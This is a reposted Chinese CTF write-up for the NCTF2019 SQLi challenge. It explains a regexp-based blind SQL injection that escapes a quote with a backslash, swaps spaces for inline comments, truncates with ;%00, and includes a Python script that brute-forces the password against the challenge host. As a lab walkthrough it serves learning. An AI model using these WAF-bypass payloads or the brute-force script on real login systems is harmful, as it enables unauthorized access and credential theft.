我是靠谱客的博主 坚定往事,最近开发中收集的这篇文章主要介绍[NCTF2019]SQLi——regexp注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

首先可以看看什么是regexp。
打开题目,很明显的sql注入,甚至连sql注入语句是字符型都贴了出来,写的那么明目张胆,显然waf过滤的很变态:

在这里插入图片描述
嗯,fuzzing一下,果然基本会的都过滤了…,抱着试试的心态扫了下目录,发现robots.txt提示有hint.txt:

在这里插入图片描述
过滤那么多,不会做了…,看看wp1、wp2,wp3

  • ;%00代替注释符/00截断
  • 转义符“”没被过滤,可以转义符转义username处的单引号,我们提交的用户名就变成了 ’ and passwd=
select * from users where username='' and passwd='' #登录框处查询语句

username=&passwd=||(passwd/**/regexp/**/"^y");%00   #用户名输入,密码输入“或”符号加括号、内联绕waf,及结尾截断。

sqlquery : select * from users where username='' and passwd='||/**/passwd/**/regexp/**/"^y";

相等于select * from users where (passwd/**/regexp/**/"^y");

搜索是否有y开头的passwd,有就返回ture,没有就false.

  • 直接盲注,注意在写python的时候传入%00不能直接传入,直接传会解码直接为空,用parse.unquote(’%00’)url解码
  • regexp注入就类似于挨个比较吧,相等的时候返回true.

例如:搜索city表中name列开始位置含有连在一起的4位数字的所有信息

SELECT * FROM city WHERE name REGEXP '^[0-9]{4}';

在这里插入图片描述
输入值被url编码后记得改成%00,负载对的话会302跳转到welcome.php,

在这里插入图片描述
爆破后会发现y开头的就是正确的,别的回显都是错的:

在这里插入图片描述
在这里插入图片描述

exp:

import string
import requests
from urllib import parse

passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://9d01c3e8-2659-4ca6-9d2e-43bec0609db7.node4.buuoj.cn:81/index.php'

for n in range(100):
    for m in string:
        data = {
            "username":"\",
            "passwd":"||/**/passwd/**/regexp/**/"^{}";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

在这里插入图片描述
在这里插入图片描述

最后

以上就是坚定往事为你收集整理的[NCTF2019]SQLi——regexp注入的全部内容,希望文章能够帮你解决[NCTF2019]SQLi——regexp注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(58)

评论列表共有 0 条评论

立即
投稿
返回
顶部